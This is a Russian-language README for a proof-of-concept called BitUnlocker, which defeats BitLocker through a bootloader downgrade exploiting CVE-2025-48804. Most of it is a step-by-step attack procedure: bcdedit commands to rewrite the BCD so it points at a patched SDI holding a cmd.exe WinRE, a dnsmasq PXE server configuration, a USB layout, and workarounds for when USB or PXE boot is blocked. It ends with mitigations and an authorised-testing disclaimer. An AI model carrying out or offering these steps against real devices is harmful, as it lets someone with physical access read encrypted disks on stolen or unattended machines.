
Атака понижения версии для CVE-2025-48804
# BitUnlocker – атака понижением версии загрузчика
[](LICENSE)
Доказательство концепции для доступа к зашифрованным BitLocker дискам **менее чем за 5 минут** на полностью обновлённых машинах с Windows 11 с помощью атаки понижением версии загрузчика, использующей уязвимость SDI, первоначально задокументированную как **CVE-2025-48804**. Июльский патч 2025 года закрывает эту уязвимость в `bootmgfw.efi`, поэтому любой `bootmgfw.efi` до установки патча, подписанный под PCA 2011, может быть использован для атаки понижения версии, если целевая система доверяет этому PCA.
Этот PoC предоставляет два метода доставки: **загрузка с USB** (проще и рекомендуется) и **загрузка по PXE**. Но теоретически можно просто скопировать загрузочный файл SDI в один из незашифрованных разделов по умолчанию (ESP или Recovery) и не заморачиваться с USB или PXE – см. таблицу «Крайние случаи».
Эта работа полностью основана на исследованиях **Microsoft STORM** (Netanel Ben Simon и Alon Leviev):
> [BitUnlocker: Leveraging Windows Recovery to Extract BitLocker Secrets](https://techcommunity.microsoft.com/blog/microsoft-security-blog/bitunlocker-leveraging-windows-recovery-to-extract-bitlocker-secrets/4442806)
---
## Необходимые условия
- Физический доступ к устройству, зашифрованному BitLocker (только TPM, PCR 7 + 11)
- База данных Secure Boot устройства всё ещё доверяет сертификату **Microsoft Windows PCA 2011**
- USB-флешка (рекомендуется) **или** машина с Linux, `dnsmasq` и кабель Ethernet для PXE
## Пошаговая инструкция
### 1. Загрузите boot_patched.sdi из раздела Releases (или соберите свой SDI-файл, см. ниже)
Поместите его в `USB/sdi/` (для метода USB) или `TFTP-root/sdi/` (для метода PXE).
### 2. Подготовьте изменённый BCD
На целевом устройстве откройте командную строку WinRE (удерживайте **Shift** при нажатии **Перезагрузка**, затем **Поиск и устранение неисправностей > Командная строка** — нажмите «Пропустить этот диск», когда будет запрошен ключ восстановления BitLocker, и нажмите «перезапустить», если появится сообщение о том, что командная строка не может работать на заблокированном устройстве — если командная строка всё равно не открывается, используйте свою собственную WinPE, если можете). Подключите USB-флешку и выполните:
```bat
E: (или буква вашей флешки)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all
```
В выводе найдите запись параметров устройства, описание которой — **"Windows Recovery"** и которая содержит `ramdisksdidevice` / `ramdisksdipath`. Запомните её GUID, затем:
```bat
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD
```
Поместите полученный файл `BCD` в соответствующее место в зависимости от вашего метода:
- **USB:** `USB/EFI/Microsoft/Boot/BCD`
- **PXE:** `TFTP-root/Boot/BCD`
### 3. Загрузите целевое устройство
#### Вариант A: Загрузка с USB (рекомендуется)
Отформатируйте USB-флешку в **FAT32** и скопируйте содержимое каталога `USB/` в её корень (только содержимое, папки «USB» быть не должно). Флешка должна выглядеть так:
```
Корень флешки/
├── EFI/
│ ├── Boot/
│ │ └── bootx64.efi # Загрузчик до патча (PCA 2011)
│ └── Microsoft/
│ └── Boot/
│ └── BCD # Ваш изменённый BCD
└── sdi/
└── boot_patched.sdi # Пропатченный SDI с кастомной WinRE
```
Подключите флешку к целевому устройству и инициируйте загрузку с USB через UEFI — либо из WinRE (**Использовать устройство**), либо нажав клавишу меню загрузки производителя при включении (F12, F9 и т.д.). Если флешка не отображается в списке вариантов загрузки, найдите опцию **"Boot from file"** в меню загрузки UEFI, затем перейдите к `EFI/Boot/bootx64.efi` на флешке.
#### Вариант B: Загрузка по PXE
Каталог `TFTP-root/` имеет следующую структуру:
```
TFTP-root/
├── bootmgfw.efi # Загрузчик до патча (PCA 2011)
├── Boot/
│ └── BCD # Ваш изменённый BCD
├── EFI/
│ └── Microsoft/
│ └── Boot/
│ └── bootmgfw.efi # Тот же загрузчик до патча
└── sdi/
└── boot_patched.sdi # Пропатченный SDI с кастомной WinRE
```
Подключите целевое устройство к вашей Linux-машине через Ethernet и запустите PXE-сервер:
```bash
cd BitUnlocker
export INTERFACE=<ваш-интерфейс>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root
sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--log-dhcp \
--tftp-max=65464 \
--port=0
```
Запустите PXE-загрузку на целевом устройстве — в WinRE выберите **Использовать устройство > IPv4 Network**, или нажмите клавишу PXE-загрузки производителя.
### 4. Дождитесь передачи SDI
Загрузчик загрузит BCD, а затем начнёт скачивание `boot_patched.sdi`. SDI-файл большой (~300 МБ), поэтому с USB это занимает некоторое время, а по TFTP — **несколько минут**. На экране целевого устройства должно появиться сообщение, связанное с восстановлением, с путём к SDI, пока он загружается.
### 5. Профит
После завершения передачи должна появиться командная строка с расшифрованным и смонтированным томом ОС (обычно `C:` или `E:`). Если он не смонтировался автоматически или вы не хотите угадывать букву, просто выполните `diskpart` -> `sel vol X` (тот, который похож на ваш зашифрованный диск) -> `assign letter=C` (или другую букву) -> `exit` -> профит
### Крайние случаи
| Ситуация | Что происходит |
|---|---|
| BitLocker настроен с **PIN-кодом**, который вы знаете | Синий экран при загрузке — введите PIN-код вслепую (извините, я не заморачивался со шрифтами BitLocker в этом репозитории) и нажмите Enter |
| Синий экран, PIN-кода нет | Целевое устройство, вероятно, перешло на CA 2023 — нажмите Escape и дайте передаче SDI завершиться, но зашифрованный диск BitLocker, скорее всего, останется заблокированным |
| Только USB-C / Thunderbolt | Используйте USB-C-накопитель или адаптер USB-Ethernet (для PXE) |
| Файл TFTP не найден (кроме мусорных файлов шрифтов, которые нам не нужны) | Имена файлов чувствительны к регистру — переименуйте `bootmgfw.efi` в соответствии с запросом цели |
| Загрузка с USB или PXE запрещена | Проверьте доступный размер разделов ESP и Recovery (`diskpart` -> `list vol`). Если в одном из разделов достаточно места для предоставленного файла Boot.sdi (около 300 МБ), поместите его туда. Тогда эксплойт будет немного другим (но всё равно таким же быстрым): вам нужно будет напрямую изменить BCD-файл целевой системы (сделайте резервную копию), чтобы он указывал на незашифрованный раздел хоста (в частности, запись `ramdisksdidevice` в BCD), и заменить bootmgfw.efi целевой системы на тот, что предоставлен в папке TFTP этого репозитория. В этом случае убедитесь, что загрузчик цели подписан PCA 2011 (иначе эксплойт всё равно не сработает, всегда проверяйте это), иначе вы переведёте систему в режим восстановления BitLocker. Также, если места для файла Boot.sdi из этого репозитория недостаточно, можно попробовать создать свою меньшую версию — для этого есть определённые способы (см. раздел «Создайте свой собственный SDI-файл» ниже) |
---
## Создайте свой собственный SDI-файл
Я включил два скрипта в `scripts/`:
- `patch_sdi.py` — создаёт модифицированный SDI-файл из `boot.sdi` и `WinRE.wim`
- `parse_sdi.py` — анализирует SDI-файл для проверки его структуры и содержимого
Файл `boot_patched.sdi`, предоставленный в Releases, содержит модифицированную WinRE.wim, в которой приложение запуска — `cmd.exe`.
## Случаи, не поддающиеся эксплуатации
- Настроен **TPM + PIN или TPM + файл-ключ**, и атакующий их не знает
- Установлено **KB5025885 / загрузчик был перенесён на CA 2023** — на машинах, свежеустановленных с начала 2026 года, скорее всего, поставляется `bootmgfw.efi`, подписанный CA 2023. Чтобы проверить, смонтируйте раздел EFI и проверьте активный бинарник: `mountvol S: /s` затем `sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi`. Обратите внимание, что `C:\Windows\Boot\EFI\bootmgfw.efi` может отличаться от файла, который фактически используется при загрузке — всегда проверяйте копию в разделе EFI.
- **Нестандартная политика PCR** — конфигурации, включающие PCR 0, 2 или 4, обнаружат изменение пути загрузки
- **PCA 2011 отозван через DBX** — если старый сертификат был явно отозван
---
## Меры защиты
- **Включите TPM + PIN** — предзагрузочный PIN-код не позволяет TPM расшифровать VMK без взаимодействия с пользователем, независимо от манипуляций с путём загрузки. Однако имейте в виду, что это не остановит инсайдера, знающего PIN-код.
- **Перейдите на Windows UEFI CA 2023 и установите [KB5025885](https://support.microsoft.com/en-us/topic/kb5025885-how-to-manage-the-windows-boot-manager-revocations-for-secure-boot-changes-associated-with-cve-2023-24932-41a975df-beb2-40c1-99a3-b3ff139f832d)** — это полностью предотвращает атаки понижением версии
---
## Благодарности
**Microsoft STORM (Netanel Ben Simon и Alon Leviev)** за оригинальное исследование BitUnlocker и раскрытие уязвимости.
---
## Лицензия
Этот проект лицензирован в соответствии с [MIT License](https://github.com/garatc/bitunlocker/blob/main/LICENSE). См. файл [LICENSE](https://github.com/garatc/bitunlocker/blob/main/LICENSE) для подробностей.
## Отказ от ответственности
Этот репозиторий и всё его содержимое предоставляются строго для **авторизованного тестирования безопасности и исследовательских целей**. Используйте этот инструмент только на системах, которые вам принадлежат или на которые у вас есть явное письменное разрешение на тестирование. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за любое неправомерное использование или ущерб, возникший в результате использования этого материала.